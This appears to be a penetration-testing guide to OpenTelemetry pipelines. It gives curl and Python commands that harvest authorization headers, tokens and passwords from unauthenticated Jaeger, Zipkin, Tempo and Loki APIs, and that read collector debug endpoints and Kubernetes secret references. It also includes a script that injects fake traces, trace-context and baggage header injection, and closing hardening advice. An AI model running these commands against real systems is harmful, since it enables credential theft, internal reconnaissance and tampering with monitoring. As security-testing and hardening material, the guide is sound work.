OpenTelemetry Security Testing: Sensitive Data in Traces, Collector Exploitation, and Observability Pipeline Attacks

Observability Pipeline Attack Surface

Sensitive Data Leaking into Traces

OpenTelemetry SDKs automatically capture HTTP headers, URL parameters, database queries, and RPC payloads as span attributes. Without scrubbing, this creates a rich archive of sensitive data.

What Ends Up in Spans

# Common sensitive data found in OpenTelemetry spans:

# 1. HTTP request headers (often include Authorization, Cookie, X-API-Key)
# Semantic convention: http.request.header.authorization
# Example span attribute:
# http.request.header.authorization: ["Bearer eyJhbGci..."]
# http.request.header.cookie: ["session=abc123; csrf=xyz"]

# 2. Database queries with embedded values
# db.statement: "SELECT * FROM users WHERE email='user@example.com' AND password='plaintext'"
# db.statement: "UPDATE payments SET card_number='4111111111111111' WHERE id=123"

# 3. URL query parameters with PII
# http.url: "https://api.internal/search?ssn=123-45-6789&dob=1990-01-01"
# http.target: "/api/users?email=admin@company.com&token=sk-prod-abc"

# 4. Error messages with stack traces containing secrets
# exception.message: "Connection failed: postgresql://admin:password@db:5432/prod"
# exception.stacktrace: contains internal paths, class names, version info

# 5. gRPC/RPC request bodies
# rpc.grpc.request: protobuf-encoded message with auth tokens

Auditing Traces for Sensitive Data

# Query Jaeger for traces containing potential secrets
# Jaeger HTTP API
JAEGER_URL="http://jaeger:16686"

# List all services (reveals internal service names/architecture)
curl -s "$JAEGER_URL/api/services" | python3 -c "
import json,sys
for svc in json.load(sys.stdin)['data']:
    print(svc)
"

# Get recent traces for a service
curl -s "$JAEGER_URL/api/traces?service=payment-service&limit=100&start=$(date -d '1 hour ago' +%s)000000&end=$(date +%s)000000" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
for trace in data['data']:
    for span in trace['spans']:
        for tag in span.get('tags', []):
            val = str(tag.get('value', ''))
            if any(kw in tag['key'].lower() for kw in ['auth', 'cookie', 'password', 'token', 'secret', 'key']):
                print(f\"Span: {span['operationName']} Tag: {tag['key']} = {val[:100]}\")
"

# Search traces by tag value (find all traces with authorization headers)
curl -s "$JAEGER_URL/api/traces?service=api-gateway&tags=%7B%22http.request.header.authorization%22%3A%22%22%7D&limit=20"

# Zipkin API equivalent
ZIPKIN_URL="http://zipkin:9411"
curl -s "$ZIPKIN_URL/api/v2/services"
curl -s "$ZIPKIN_URL/api/v2/traces?serviceName=payment-service&limit=100" | \
  python3 -c "
import json,sys
for trace in json.load(sys.stdin):
    for span in trace:
        tags = span.get('tags', {})
        for k, v in tags.items():
            if any(kw in k.lower() for kw in ['auth', 'password', 'token', 'secret']):
                print(f\"Service: {span['localEndpoint']['serviceName']} {k} = {v[:80]}\")
"

OTLP Collector Exploitation

The OpenTelemetry Collector receives telemetry from applications and routes it to backends. Its OTLP endpoints are frequently exposed on internal networks without authentication.

Collector Discovery and Enumeration

# Test for unauthenticated OTLP HTTP endpoint
curl -s http://otel-collector:4318/v1/traces -X POST \
  -H "Content-Type: application/json" \
  -d '{"resourceSpans":[]}' | python3 -m json.tool
# 200 OK with empty response = unauthenticated ingestion

# OTLP gRPC (requires grpcurl)
grpcurl -plaintext otel-collector:4317 list
grpcurl -plaintext otel-collector:4317 opentelemetry.proto.collector.trace.v1.TraceService/Export

# Check zpages debug endpoint (no auth, reveals collector internals)
curl -s http://otel-collector:55679/debug/servicez | head -20
curl -s http://otel-collector:55679/debug/pipelinez
curl -s http://otel-collector:55679/debug/extensionz

# pprof endpoint exposes Go profiling data (memory, goroutines, heap)
curl -s "http://otel-collector:1777/debug/pprof/heap" -o heap.prof
go tool pprof heap.prof  # Analyze for secrets in memory

# Health and metrics
curl -s http://otel-collector:8888/metrics | grep -E "otelcol_exporter|error"
curl -s http://otel-collector:13133/  # Health check endpoint

Injecting Fake Traces

# Inject traces with false data — pollutes monitoring, spoofs SLOs
python3 - <<'EOF'
import requests, json, time

# Send fake trace to OTLP HTTP endpoint
payload = {
    "resourceSpans": [{
        "resource": {
            "attributes": [
                {"key": "service.name", "value": {"stringValue": "payment-service"}},
                {"key": "service.version", "value": {"stringValue": "1.0.0"}}
            ]
        },
        "scopeSpans": [{
            "scope": {"name": "injected"},
            "spans": [{
                "traceId": "0102030405060708090a0b0c0d0e0f10",
                "spanId": "0102030405060708",
                "name": "POST /api/payments",
                "kind": 2,  # SERVER
                "startTimeUnixNano": str(int(time.time() * 1e9)),
                "endTimeUnixNano": str(int(time.time() * 1e9) + 1000000),
                "status": {"code": 1},  # OK
                "attributes": [
                    {"key": "http.status_code", "value": {"intValue": 200}},
                    {"key": "http.url", "value": {"stringValue": "http://api.internal/payment"}},
                    # Inject sensitive data as span attributes for exfiltration
                    {"key": "db.statement", "value": {"stringValue": "SELECT * FROM credit_cards"}}
                ]
            }]
        }]
    }]
}

resp = requests.post("http://otel-collector:4318/v1/traces",
    json=payload, timeout=5)
print(f"Injected: HTTP {resp.status_code}")
EOF

Collector Config Extraction

# Collector configuration may contain backend credentials (API keys, passwords)
# The zpages extension exposes the running config:
curl -s http://otel-collector:55679/debug/configz 2>/dev/null | head -50

# Or try fetching the config file directly if running in a container
kubectl exec -n observability deploy/otel-collector -- cat /etc/otelcol/config.yaml 2>/dev/null

# Typical sensitive values in collector config:
# exporters:
#   otlp:
#     endpoint: "https://api.honeycomb.io"
#     headers:
#       "x-honeycomb-team": "API_KEY_HERE"
#   datadog:
#     api:
#       key: "DD_API_KEY_HERE"
#   newrelic:
#     apikey: "NRKEY_HERE"

# Check Kubernetes secrets mounted into collector
kubectl get pod -n observability -l app=otel-collector -o json | \
  python3 -c "
import json,sys
for pod in json.load(sys.stdin)['items']:
    for c in pod['spec']['containers']:
        for env in c.get('env', []):
            if env.get('valueFrom', {}).get('secretKeyRef'):
                print(f\"Secret ref: {env['name']} from {env['valueFrom']['secretKeyRef']['name']}.{env['valueFrom']['secretKeyRef']['key']}\")
"

Jaeger and Zipkin Unauthenticated Access

# Jaeger UI is unauthenticated by default — exposes all traces
# Test access
curl -s http://jaeger:16686/api/services
curl -s http://jaeger:16686/api/operations?service=user-service

# Dump all traces for a sensitive service (last 24h)
START=$(($(date +%s) - 86400))000000
END=$(date +%s)000000
curl -s "$JAEGER_URL/api/traces?service=auth-service&limit=1000&start=$START&end=$END" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f'Total traces: {len(data[\"data\"])}')
for trace in data['data'][:5]:
    for span in trace['spans']:
        print(f'  Op: {span[\"operationName\"]} Tags: {[t for t in span[\"tags\"] if \"auth\" in t[\"key\"].lower()]}')
"

# Jaeger dependency graph — reveals internal service topology
curl -s "$JAEGER_URL/api/dependencies?endTs=$(date +%s)000&lookback=86400000" | \
  python3 -c "import json,sys; [print(f\"{d['parent']} -> {d['child']} ({d['callCount']} calls)\") for d in json.load(sys.stdin)['data']]"

# Zipkin — find traces containing specific annotation values
curl -s "$ZIPKIN_URL/api/v2/traces?annotationQuery=http.url+and+password&limit=10"

# Grafana Tempo (no auth by default)
curl -s "http://tempo:3200/api/search?tags=service.name%3Dauth-service" | python3 -m json.tool | head -20

Trace Injection and Context Manipulation

Distributed tracing relies on propagation headers (traceparent, X-B3-TraceId, b3) to link spans across services. An attacker who controls incoming requests can inject trace context to pollute tracing data.

# W3C Trace Context injection
# traceparent: {version}-{trace-id}-{parent-id}-{trace-flags}
# Set sampled flag to force trace recording
curl http://api.internal/endpoint \
  -H "traceparent: 00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"

# B3 header injection (Zipkin/Spring Cloud Sleuth)
curl http://api.internal/endpoint \
  -H "X-B3-TraceId: 0af7651916cd43dd" \
  -H "X-B3-SpanId: b7ad6b7169203331" \
  -H "X-B3-Sampled: 1"

# Attack: trace context manipulation to link attacker trace to victim's service trace
# If a service propagates incoming trace context without validation,
# the attacker can link their external trace to internal service spans

# Baggage header injection — propagates key-value pairs across services
# (OTEL Baggage spec)
curl http://api.internal/endpoint \
  -H "baggage: userId=admin,role=superadmin,internal-flag=true"
# If the application reads baggage values and uses them for authorization — injection!

# Test if the app propagates baggage to downstream services
# (using a controlled trace receiver to observe what arrives)

Log Pipeline Sensitive Data

# OpenTelemetry also collects logs — which frequently contain PII and secrets
# Check what the log receiver is collecting

kubectl logs -n observability deploy/otel-collector | grep -iE "password|secret|token|key|bearer" | head -20

# Query Loki (if used as log backend)
# Loki LogQL
curl -s "http://loki:3100/loki/api/v1/query_range" \
  --data-urlencode 'query={namespace="production"} |= "password"' \
  --data-urlencode 'start=1 hour ago' | \
  python3 -c "import json,sys; [print(s) for r in json.load(sys.stdin)['data']['result'] for s in r['values']]" | head -20

# Check if structured logs include sensitive fields
curl -s "http://loki:3100/loki/api/v1/query_range" \
  --data-urlencode 'query={namespace="production"} | json | credit_card != ""' \
  --data-urlencode 'start=1 day ago' | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['stats'])"

Observability Pipeline Hardening

# 1. Enable authentication on OTLP endpoints
# otel-collector config.yaml:
receivers:
  otlp:
    protocols:
      http:
        auth:
          authenticator: bearertokenauth
      grpc:
        auth:
          authenticator: bearertokenauth

extensions:
  bearertokenauth:
    token: ${OTLP_AUTH_TOKEN}

# 2. Scrub sensitive attributes before exporting
processors:
  attributes:
    actions:
      - key: http.request.header.authorization
        action: delete
      - key: http.request.header.cookie
        action: delete
      - key: db.statement
        action: hash  # Hash instead of delete to preserve cardinality

  # Redact PII with transform processor
  transform:
    trace_statements:
      - context: span
        statements:
          - replace_pattern(attributes["http.url"], "[?&](password|token|key)=[^&]*", "$$1=REDACTED")
          - replace_pattern(attributes["db.statement"], "'[^']{8,}'", "'REDACTED'")

# 3. Disable debug endpoints in production
extensions:
  # Remove zpages and pprof from production config
  # zpages: {}  ← disabled
  # pprof: {}   ← disabled
  health_check: {}  # Only expose health check

# 4. Access control for Jaeger UI
# Deploy Jaeger behind OAuth2 proxy
# Example with oauth2-proxy:
# oauth2-proxy --upstream=http://jaeger:16686 \
#   --provider=google --email-domain=company.com \
#   --cookie-secret=RANDOM_SECRET